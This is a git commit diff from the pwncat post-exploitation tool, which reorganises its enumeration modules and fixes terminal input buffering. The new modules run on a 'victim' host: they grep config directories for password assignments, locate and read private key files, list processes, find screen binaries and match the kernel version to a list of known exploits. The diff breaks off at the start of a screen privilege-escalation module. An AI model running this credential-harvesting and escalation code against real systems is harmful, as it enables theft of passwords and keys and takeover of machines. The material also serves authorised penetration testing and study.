mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Organized and converted enumeration modules
Also found fix for delayed arrow key input (once merged, this should fix #53)
This commit is contained in:
parent
f176e5d9bd
commit
8fed7c9829
@ -1,9 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
from io import TextIOWrapper
|
||||
import logging
|
||||
import selectors
|
||||
import shlex
|
||||
import sys
|
||||
import warnings
|
||||
import os
|
||||
|
||||
from sqlalchemy import exc as sa_exc
|
||||
from sqlalchemy.exc import InvalidRequestError
|
||||
@ -33,6 +35,15 @@ def main():
|
||||
if not pwncat.victim.connected:
|
||||
exit(0)
|
||||
|
||||
# Make stdin unbuffered. Without doing this, some key sequences
|
||||
# which are multi-byte don't get sent properly (e.g. up and left
|
||||
# arrow keys)
|
||||
sys.stdin = TextIOWrapper(
|
||||
os.fdopen(sys.stdin.fileno(), "br", buffering=0),
|
||||
write_through=True,
|
||||
line_buffering=False,
|
||||
)
|
||||
|
||||
# Setup the selector to wait for data asynchronously from both streams
|
||||
selector = selectors.DefaultSelector()
|
||||
selector.register(sys.stdin, selectors.EVENT_READ, None)
|
||||
@ -49,7 +60,7 @@ def main():
|
||||
while not done:
|
||||
for k, _ in selector.select():
|
||||
if k.fileobj is sys.stdin:
|
||||
data = sys.stdin.buffer.read(1)
|
||||
data = sys.stdin.buffer.read(64)
|
||||
pwncat.victim.process_input(data)
|
||||
else:
|
||||
data = pwncat.victim.recv()
|
||||
|
1
pwncat/data/lester.json
Normal file
1
pwncat/data/lester.json
Normal file
File diff suppressed because one or more lines are too long
@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from io import RawIOBase
|
||||
import socket
|
||||
import time
|
||||
from io import RawIOBase
|
||||
from typing import Union
|
||||
|
||||
import pwncat
|
||||
@ -15,7 +15,12 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
reading or writing will be allowed. """
|
||||
|
||||
def __init__(
|
||||
self, mode: str, delim: bytes, binary: bool, exit_cmd: Union[bytes, str],
|
||||
self,
|
||||
mode: str,
|
||||
delim: bytes,
|
||||
binary: bool,
|
||||
exit_cmd: Union[bytes, str],
|
||||
length: int = None,
|
||||
):
|
||||
if isinstance(exit_cmd, str):
|
||||
exit_cmd = exit_cmd.encode("utf-8")
|
||||
@ -29,6 +34,7 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
self.exit_cmd: bytes = exit_cmd
|
||||
self.count = 0
|
||||
self.name = None
|
||||
self.length = length
|
||||
|
||||
def readable(self) -> bool:
|
||||
return True
|
||||
@ -61,6 +67,12 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
if self.eof:
|
||||
return
|
||||
|
||||
if "w" in self.mode and self.length is not None and self.count < self.length:
|
||||
# We **have** to finish writing or the shell won't come back in
|
||||
# most cases. This block only normally executes when an exception
|
||||
# auto-closes a file object.
|
||||
self.write((self.length - self.count) * b"\x00")
|
||||
|
||||
# Kill the last job. This should be us. We can only run as a job when we
|
||||
# don't request write support, because stdin is taken away from the
|
||||
# subprocess. This is dangerous, because we have no way to kill the new
|
||||
@ -138,13 +150,20 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
|
||||
if self.eof:
|
||||
return None
|
||||
|
||||
if self.length is not None:
|
||||
if (len(data) + self.count) > self.length:
|
||||
data = data[: (self.length - self.count)]
|
||||
|
||||
try:
|
||||
n = pwncat.victim.client.send(data)
|
||||
except (socket.timeout, BlockingIOError):
|
||||
n = 0
|
||||
|
||||
if n == 0:
|
||||
return None
|
||||
|
||||
self.count += n
|
||||
if self.length is not None and self.count >= self.length:
|
||||
self.on_eof()
|
||||
|
||||
return n
|
||||
|
@ -1,15 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Any, Callable
|
||||
from dataclasses import dataclass
|
||||
import pkgutil
|
||||
import inspect
|
||||
import pkgutil
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Callable
|
||||
|
||||
from rich.progress import Progress
|
||||
|
||||
from pwncat.util import console
|
||||
from pwncat.platform import Platform
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.util import console
|
||||
|
||||
LOADED_MODULES = {}
|
||||
|
||||
@ -229,7 +229,7 @@ class BaseModule(metaclass=BaseModuleMeta):
|
||||
PLATFORM = Platform.UNKNOWN
|
||||
|
||||
def __init__(self):
|
||||
return
|
||||
self.progress = None
|
||||
|
||||
def run(self, **kwargs):
|
||||
""" Execute this module """
|
||||
|
@ -103,7 +103,13 @@ class EnumerateModule(BaseModule):
|
||||
return
|
||||
|
||||
# Get any new facts
|
||||
for typ, data in self.enumerate():
|
||||
for item in self.enumerate():
|
||||
if isinstance(item, Status):
|
||||
yield item
|
||||
continue
|
||||
|
||||
typ, data = item
|
||||
|
||||
row = pwncat.db.Fact(
|
||||
host_id=pwncat.victim.host.id, type=typ, data=data, source=self.name
|
||||
)
|
||||
|
@ -1,48 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
import dataclasses
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ArchData:
|
||||
"""
|
||||
Represents a W.X.Y-Z kernel version where W is the major version,
|
||||
X is the minor version, Y is the patch, and Z is the ABI.
|
||||
|
||||
This explanation came from here:
|
||||
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
|
||||
"""
|
||||
|
||||
arch: str
|
||||
""" The determined architecture. """
|
||||
|
||||
def __str__(self):
|
||||
return f"Running on a [cyan]{self.arch}[/cyan] processor"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.arch"]
|
||||
PLATFORM = Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
|
||||
try:
|
||||
result = pwncat.victim.env(["uname", "-m"]).decode("utf-8").strip()
|
||||
except FileNotFoundError:
|
||||
return
|
||||
|
||||
yield "system.arch", ArchData(result)
|
55
pwncat/modules/enumerate/creds/__init__.py
Normal file
55
pwncat/modules/enumerate/creds/__init__.py
Normal file
@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
|
||||
import pwncat
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class PasswordData:
|
||||
""" A password possible extracted from a remote file
|
||||
`filepath` and `lineno` may be None signifying this
|
||||
password did not come from a file directly.
|
||||
"""
|
||||
|
||||
password: str
|
||||
filepath: str
|
||||
lineno: int
|
||||
|
||||
def __str__(self):
|
||||
if self.password is not None:
|
||||
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
|
||||
if self.filepath is not None:
|
||||
result += f" ({self.filepath}:{self.lineno})"
|
||||
else:
|
||||
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
|
||||
return result
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class PrivateKeyData:
|
||||
""" A private key found on the remote file system or known
|
||||
to be applicable to this system in some way. """
|
||||
|
||||
uid: int
|
||||
""" The user we believe the private key belongs to """
|
||||
path: str
|
||||
""" The path to the private key on the remote host """
|
||||
content: str
|
||||
""" The actual content of the private key """
|
||||
encrypted: bool
|
||||
""" Is this private key encrypted? """
|
||||
|
||||
def __str__(self):
|
||||
if self.uid == 0:
|
||||
color = "red"
|
||||
else:
|
||||
color = "green"
|
||||
return f"Potential private key for [{color}]{self.user.name}[/{color}] at [cyan]{self.path}[/cyan]"
|
||||
|
||||
@property
|
||||
def description(self) -> str:
|
||||
return self.content
|
||||
|
||||
@property
|
||||
def user(self):
|
||||
return pwncat.victim.find_user_by_id(self.uid)
|
110
pwncat/modules/enumerate/creds/password.py
Normal file
110
pwncat/modules/enumerate/creds/password.py
Normal file
@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import re
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
from pwncat.modules.enumerate.creds import PasswordData
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Search the victim file system for configuration files which may
|
||||
contain passwords. This uses a regular expression based search
|
||||
to abstractly extract things which look like variable assignments
|
||||
within configuration files that look like passwords.
|
||||
"""
|
||||
|
||||
PROVIDES = ["creds.password"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
# The locations we will search in for passwords
|
||||
locations = ["/var/www", "$HOME", "/opt", "/etc"]
|
||||
# Known locations which match this search but don't contain useful entries
|
||||
blacklist = ["openssl.cnf", "libuser.conf"]
|
||||
# The types of files which are "code". This means that we only recognize the
|
||||
# actual password if it is a literal value (enclosed in single or double quotes)
|
||||
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini", ".json"]
|
||||
grep = pwncat.victim.which("grep")
|
||||
|
||||
if grep is None:
|
||||
return
|
||||
|
||||
command = f"{grep} -InriE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null"
|
||||
with pwncat.victim.subprocess(command, "r") as filp:
|
||||
for line in filp:
|
||||
try:
|
||||
# Decode the line and separate the filename, line number, and content
|
||||
line = line.decode("utf-8").strip().split(":")
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
|
||||
# Ensure we got all three (should always be 3)
|
||||
if len(line) < 3:
|
||||
continue
|
||||
|
||||
# Extract each individual piece
|
||||
path = line[0]
|
||||
content = ":".join(line[2:])
|
||||
try:
|
||||
lineno = int(line[1])
|
||||
except ValueError:
|
||||
# If this isn't an integer, we can't trust the format of the line...
|
||||
continue
|
||||
|
||||
password = None
|
||||
|
||||
# Ensure this file isn't in our blacklist
|
||||
# We will still report it but it won't produce actionable passwords
|
||||
# for privesc because the blacklist files have a high likelihood of
|
||||
# false positives.
|
||||
if os.path.basename(path) not in blacklist:
|
||||
# Check for simple assignment
|
||||
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary like in python with double quotes
|
||||
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary is perl
|
||||
match = re.search(
|
||||
r"password[\"']?\s+=>(.*)", content, re.IGNORECASE
|
||||
)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Don't mark empty passwords
|
||||
if password is not None and password == "":
|
||||
password = None
|
||||
|
||||
if password is not None:
|
||||
_, extension = os.path.splitext(path)
|
||||
|
||||
# Ensure that this is a constant string. For code file types,
|
||||
# this is normally indicated by the string being surrounded by
|
||||
# either double or single quotes.
|
||||
if extension in code_types:
|
||||
if password[-1] == ";":
|
||||
password = password[:-1]
|
||||
if password[0] == '"' and password[-1] == '"':
|
||||
password = password.strip('"')
|
||||
elif password[0] == "'" and password[-1] == "'":
|
||||
password = password.strip("'")
|
||||
else:
|
||||
# This wasn't assigned to a constant, it's not helpful to us
|
||||
password = None
|
||||
|
||||
# Empty quotes? :(
|
||||
if password == "":
|
||||
password = None
|
||||
|
||||
# This was a match for the search. We may have extracted a
|
||||
# password. Either way, log it.
|
||||
yield "creds.password", PasswordData(password, path, lineno)
|
59
pwncat/modules/enumerate/creds/private_key.py
Normal file
59
pwncat/modules/enumerate/creds/private_key.py
Normal file
@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python3
|
||||
from Crypto.PublicKey import RSA
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Status
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
from pwncat.modules.enumerate.creds import PrivateKeyData
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Search the victim file system for configuration files which may
|
||||
contain passwords. This uses a regular expression based search
|
||||
to abstractly extract things which look like variable assignments
|
||||
within configuration files that look like passwords.
|
||||
"""
|
||||
|
||||
PROVIDES = ["creds.private_key"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
facts = []
|
||||
|
||||
# Search for private keys in common locations
|
||||
with pwncat.victim.subprocess(
|
||||
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
|
||||
) as pipe:
|
||||
yield Status("searching for private keys")
|
||||
for line in pipe:
|
||||
line = line.strip().decode("utf-8").split(" ")
|
||||
uid, path = int(line[0]), " ".join(line[1:])
|
||||
yield Status(f"found [cyan]{path}[/cyan]")
|
||||
facts.append(PrivateKeyData(uid, path, None, False))
|
||||
|
||||
for fact in facts:
|
||||
try:
|
||||
yield Status(f"reading [cyan]{fact.path}[/cyan]")
|
||||
with pwncat.victim.open(fact.path, "r") as filp:
|
||||
fact.content = filp.read().strip().replace("\r\n", "\n")
|
||||
|
||||
try:
|
||||
# Try to import the key to test if it's valid and if there's
|
||||
# a passphrase on the key. An "incorrect checksum" ValueError
|
||||
# is raised if there's a key. Not sure what other errors may
|
||||
# be raised, to be honest...
|
||||
RSA.importKey(fact.content)
|
||||
except ValueError as exc:
|
||||
if "incorrect checksum" in str(exc).lower():
|
||||
# There's a passphrase on this key
|
||||
fact.encrypted = True
|
||||
else:
|
||||
# Some other error happened, probably not a key
|
||||
continue
|
||||
yield "creds.private_key", fact
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
0
pwncat/modules/enumerate/file/__init__.py
Normal file
0
pwncat/modules/enumerate/file/__init__.py
Normal file
@ -1,40 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
import dataclasses
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate system hostname facts
|
||||
:return: A generator of hostname facts
|
||||
"""
|
||||
|
||||
PROVIDES = ["network.hostname"]
|
||||
PLATFORM = Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
|
||||
yield "network.hostname", hostname
|
||||
return
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
try:
|
||||
hostname = pwncat.victim.env(["hostnamectl"]).decode("utf-8").strip()
|
||||
hostname = hostname.replace("\r\n", "\n").split("\n")
|
||||
for name in hostname:
|
||||
if "static hostname" in name.lower():
|
||||
hostname = name.split(": ")[1]
|
||||
yield "network.hostname", hostname
|
||||
return
|
||||
except (FileNotFoundError, IndexError):
|
||||
pass
|
||||
|
||||
return
|
@ -1,70 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
import dataclasses
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class KernelVersionData:
|
||||
"""
|
||||
Represents a W.X.Y-Z kernel version where W is the major version,
|
||||
X is the minor version, Y is the patch, and Z is the ABI.
|
||||
|
||||
This explanation came from here:
|
||||
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
|
||||
"""
|
||||
|
||||
major: int
|
||||
minor: int
|
||||
patch: int
|
||||
abi: str
|
||||
|
||||
def __str__(self):
|
||||
return (
|
||||
f"Running Linux Kernel [red]{self.major}[/red]."
|
||||
f"[green]{self.minor}[/green]."
|
||||
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
|
||||
)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.kernel"]
|
||||
PLATFORM = Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
# Try to find kernel version number
|
||||
try:
|
||||
kernel = pwncat.victim.env(["uname", "-r"]).strip().decode("utf-8")
|
||||
if kernel == "":
|
||||
raise FileNotFoundError
|
||||
except FileNotFoundError:
|
||||
try:
|
||||
with pwncat.victim.open("/proc/version", "r") as filp:
|
||||
kernel = filp.read()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
kernel = None
|
||||
|
||||
# Parse the kernel version number
|
||||
if kernel is not None:
|
||||
kernel = kernel.strip()
|
||||
# We got the full "uname -a" style output
|
||||
if kernel.lower().startswith("linux"):
|
||||
kernel = kernel.split(" ")[2]
|
||||
|
||||
# Split out the sections
|
||||
w, x, *y_and_z = kernel.split(".")
|
||||
y_and_z = ".".join(y_and_z).split("-")
|
||||
y = y_and_z[0]
|
||||
z = "-".join(y_and_z[1:])
|
||||
|
||||
yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)
|
0
pwncat/modules/enumerate/software/__init__.py
Normal file
0
pwncat/modules/enumerate/software/__init__.py
Normal file
60
pwncat/modules/enumerate/software/screen.py
Normal file
60
pwncat/modules/enumerate/software/screen.py
Normal file
@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
import os
|
||||
import re
|
||||
import shlex
|
||||
|
||||
import pwncat
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
from pwncat.platform import Platform
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ScreenVersion:
|
||||
|
||||
path: str
|
||||
perms: int
|
||||
vulnerable: bool = True
|
||||
|
||||
def __str__(self):
|
||||
return f"[cyan]{self.path}[/cyan] (perms: [blue]{oct(self.perms)[2:]}[/blue])"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
|
||||
PROVIDES = ["software.screen.version"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
|
||||
def enumerate(self):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
|
||||
# Grab current path plus other interesting paths
|
||||
paths = set(pwncat.victim.getenv("PATH").split(":"))
|
||||
paths = paths | {
|
||||
"/bin",
|
||||
"/sbin",
|
||||
"/usr/local/bin",
|
||||
"/usr/local/sbin",
|
||||
"/usr/bin",
|
||||
"/usr/sbin",
|
||||
}
|
||||
|
||||
# Look for matching binaries
|
||||
with pwncat.victim.subprocess(
|
||||
f"find {shlex.join(paths)} \\( -type f -or -type l \\) -executable \\( -name 'screen' -or -name 'screen-*' \\) -printf '%#m %p\\n' 2>/dev/null"
|
||||
) as pipe:
|
||||
for line in pipe:
|
||||
line = line.decode("utf-8").strip()
|
||||
perms, *path = line.split(" ")
|
||||
path = " ".join(path)
|
||||
perms = int(perms, 8)
|
||||
|
||||
# When the screen source code is on disk and marked as executable, this happens...
|
||||
if os.path.splitext(path)[1] in [".c", ".o", ".h"]:
|
||||
continue
|
||||
|
||||
yield "software.screen.version", ScreenVersion(path, perms)
|
0
pwncat/modules/enumerate/software/sudo/__init__.py
Normal file
0
pwncat/modules/enumerate/software/sudo/__init__.py
Normal file
@ -136,7 +136,7 @@ def LineParser(line):
|
||||
class Module(EnumerateModule):
|
||||
""" Enumerate sudo privileges for the current user. """
|
||||
|
||||
PROVIDES = ["sudo.rule"]
|
||||
PROVIDES = ["software.sudo.rule"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
@ -182,4 +182,4 @@ class Module(EnumerateModule):
|
||||
# Build the beginning part of a normal spec
|
||||
line = f"{pwncat.victim.current_user.name} local=" + line.strip()
|
||||
|
||||
yield "sudo.rule", LineParser(line)
|
||||
yield "software.sudo.rule", LineParser(line)
|
@ -37,7 +37,7 @@ class SudoVersion:
|
||||
|
||||
class Module(EnumerateModule):
|
||||
|
||||
PROVIDES = ["sudo.version"]
|
||||
PROVIDES = ["software.sudo.version"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
|
||||
@ -89,4 +89,4 @@ class Module(EnumerateModule):
|
||||
|
||||
# We couldn't parse the version out, but at least give the full version
|
||||
# output in the long form/report of enumeration.
|
||||
yield "sudo.version", SudoVersion("unknown", result, False)
|
||||
yield "software.sudo.version", SudoVersion("unknown", result, False)
|
90
pwncat/modules/enumerate/system/process.py
Normal file
90
pwncat/modules/enumerate/system/process.py
Normal file
@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
import dataclasses
|
||||
import shlex
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ProcessData:
|
||||
""" A single process from the `ps` output """
|
||||
|
||||
uid: int
|
||||
pid: int
|
||||
ppid: int
|
||||
argv: List[str]
|
||||
|
||||
def __str__(self):
|
||||
if isinstance(self.uid, str):
|
||||
user = self.uid
|
||||
color = "yellow"
|
||||
else:
|
||||
if self.uid == 0:
|
||||
color = "red"
|
||||
elif self.uid < 1000:
|
||||
color = "blue"
|
||||
else:
|
||||
color = "magenta"
|
||||
|
||||
# Color our current user differently
|
||||
if self.uid == pwncat.victim.current_user.id:
|
||||
color = "lightblue"
|
||||
|
||||
user = self.user.name
|
||||
|
||||
result = f"[{color}]{user:>10s}[/{color}] "
|
||||
result += f"[magenta]{self.pid:<7d}[/magenta] "
|
||||
result += f"[lightblue]{self.ppid:<7d}[/lightblue] "
|
||||
result += f"[cyan]{shlex.join(self.argv)}[/cyan]"
|
||||
|
||||
return result
|
||||
|
||||
@property
|
||||
def user(self) -> pwncat.db.User:
|
||||
return pwncat.victim.find_user_by_id(self.uid)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Extract the currently running processes. This will parse the
|
||||
process information and give you access to the user, parent
|
||||
process, command line, etc as with the `ps` command.
|
||||
|
||||
This is only run once unless manually cleared.
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.process"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
with pwncat.victim.subprocess(
|
||||
["ps", "-eo", "pid,ppid,user,command", "--no-header", "-ww"], "r"
|
||||
) as filp:
|
||||
# Iterate over each process
|
||||
for line in filp:
|
||||
line = line.strip().decode("utf-8")
|
||||
|
||||
entities = line.split()
|
||||
pid, ppid, username, *argv = entities
|
||||
if username not in pwncat.victim.users:
|
||||
uid = username
|
||||
else:
|
||||
uid = pwncat.victim.users[username].id
|
||||
|
||||
command = " ".join(argv)
|
||||
# Kernel threads aren't helpful for us
|
||||
if command.startswith("[") and command.endswith("]"):
|
||||
continue
|
||||
|
||||
pid = int(pid)
|
||||
ppid = int(ppid)
|
||||
|
||||
yield "system.process", ProcessData(uid, pid, ppid, argv)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
return
|
@ -50,7 +50,9 @@ class Module(EnumerateModule):
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
for fact in pwncat.modules.run("enumerate.init", progress=self.progress):
|
||||
for fact in pwncat.modules.run(
|
||||
"enumerate.gather", types=["system.init"], progress=self.progress
|
||||
):
|
||||
if fact.data.init != Init.SYSTEMD:
|
||||
return
|
||||
break
|
||||
|
144
pwncat/modules/enumerate/system/uname.py
Normal file
144
pwncat/modules/enumerate/system/uname.py
Normal file
@ -0,0 +1,144 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List, Optional
|
||||
import dataclasses
|
||||
import pkg_resources
|
||||
import json
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ArchData:
|
||||
"""
|
||||
Simply the architecture of the remote machine. This class
|
||||
wraps the architecture name in a nicely printable data
|
||||
class.
|
||||
"""
|
||||
|
||||
arch: str
|
||||
""" The determined architecture. """
|
||||
|
||||
def __str__(self):
|
||||
return f"Running on a [cyan]{self.arch}[/cyan] processor"
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class KernelVersionData:
|
||||
"""
|
||||
Represents a W.X.Y-Z kernel version where W is the major version,
|
||||
X is the minor version, Y is the patch, and Z is the ABI.
|
||||
|
||||
This explanation came from here:
|
||||
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
|
||||
"""
|
||||
|
||||
major: int
|
||||
minor: int
|
||||
patch: int
|
||||
abi: str
|
||||
|
||||
def __str__(self):
|
||||
return (
|
||||
f"Running Linux Kernel [red]{self.major}[/red]."
|
||||
f"[green]{self.minor}[/green]."
|
||||
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
|
||||
)
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class KernelVulnerabilityData:
|
||||
"""
|
||||
Data describing a kernel vulnerability which appears to be exploitable
|
||||
on the remote host. This is **not** guaranteed to be exploitable, however
|
||||
the kernel version number lines up. The `working` property can be
|
||||
modified by other modules (e.g. escalate modules) after attempting this
|
||||
vulnerability.
|
||||
"""
|
||||
|
||||
name: str
|
||||
versions: List[str]
|
||||
link: Optional[str]
|
||||
cve: Optional[str]
|
||||
# All exploits are assumed working, but can be marked as not working
|
||||
working: bool = True
|
||||
|
||||
def __str__(self):
|
||||
line = f"[red]{self.name}[/red]"
|
||||
if self.cve is not None:
|
||||
line += f" ([cyan]CVE-{self.cve}[/cyan])"
|
||||
return line
|
||||
|
||||
@property
|
||||
def description(self):
|
||||
line = f"Affected Versions: {repr(self.versions)}\n"
|
||||
if self.link:
|
||||
line += f"Details: {self.link}"
|
||||
return line
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate standard system properties provided by the
|
||||
`uname` command. This will enumerate the kernel name,
|
||||
version, hostname (nodename), machine hardware name,
|
||||
and operating system name (normally GNU/Linux).
|
||||
|
||||
This module also provides a similar enumeration to the
|
||||
common Linux Exploit Suggestor, and will report known
|
||||
vulnerabilities which are applicable to the detected
|
||||
kernel version.
|
||||
"""
|
||||
|
||||
PROVIDES = [
|
||||
"system.kernel.version",
|
||||
"system.hostname",
|
||||
"system.arch",
|
||||
"system.kernel.vuln",
|
||||
]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
|
||||
def enumerate(self):
|
||||
""" Run uname and organize information """
|
||||
|
||||
# Grab the uname output
|
||||
output = pwncat.victim.run("uname -s -n -r -m -o").decode("utf-8").strip()
|
||||
fields = output.split(" ")
|
||||
|
||||
# Grab the components
|
||||
# kernel_name = fields[0] if fields else None
|
||||
hostname = fields[1] if len(fields) > 1 else None
|
||||
kernel_revision = fields[2] if len(fields) > 2 else None
|
||||
machine_name = fields[3] if len(fields) > 3 else None
|
||||
# operating_system = fields[4] if len(fields) > 4 else None
|
||||
|
||||
# Handle kernel versions
|
||||
w, x, *y_and_z = kernel_revision.split(".")
|
||||
y_and_z = ".".join(y_and_z).split("-")
|
||||
y = y_and_z[0]
|
||||
z = "-".join(y_and_z[1:])
|
||||
version = KernelVersionData(int(w), int(x), int(y), z)
|
||||
yield "system.kernel.version", version
|
||||
|
||||
# Handle arch
|
||||
yield "system.arch", ArchData(machine_name)
|
||||
|
||||
# Handle Hostname
|
||||
yield "system.hostname", hostname
|
||||
|
||||
# Handle Kernel vulnerabilities
|
||||
with open(
|
||||
pkg_resources.resource_filename("pwncat", "data/lester.json")
|
||||
) as filp:
|
||||
vulns = json.load(filp)
|
||||
|
||||
version_string = f"{version.major}.{version.minor}.{version.patch}"
|
||||
for name, vuln in vulns.items():
|
||||
if version_string not in vuln["vuln"]:
|
||||
continue
|
||||
yield "system.kernel.vuln", KernelVulnerabilityData(
|
||||
name, vuln["vuln"], vuln.get("mil", None), vuln.get("cve", None)
|
||||
)
|
@ -25,7 +25,7 @@ class Module(EscalateModule):
|
||||
sudo_fixed_version = "1.8.28"
|
||||
|
||||
for fact in pwncat.modules.run(
|
||||
"enumerate.sudo_version", progress=self.progress
|
||||
"enumerate.software.sudo.version", progress=self.progress
|
||||
):
|
||||
sudo_version = fact
|
||||
break
|
||||
@ -37,7 +37,9 @@ class Module(EscalateModule):
|
||||
return
|
||||
|
||||
rules = []
|
||||
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
|
||||
for fact in pwncat.modules.run(
|
||||
"enumerate.software.sudo.rules", progress=self.progress
|
||||
):
|
||||
|
||||
# Doesn't appear to be a user specification
|
||||
if not fact.data.matched:
|
||||
|
158
pwncat/modules/escalate/screen.py
Normal file
158
pwncat/modules/escalate/screen.py
Normal file
@ -0,0 +1,158 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import textwrap
|
||||
from io import StringIO
|
||||
|
||||
import pwncat
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
|
||||
|
||||
|
||||
class ScreenTechnique(Technique):
|
||||
""" Implements the actual escalation technique """
|
||||
|
||||
def __init__(self, module, screen):
|
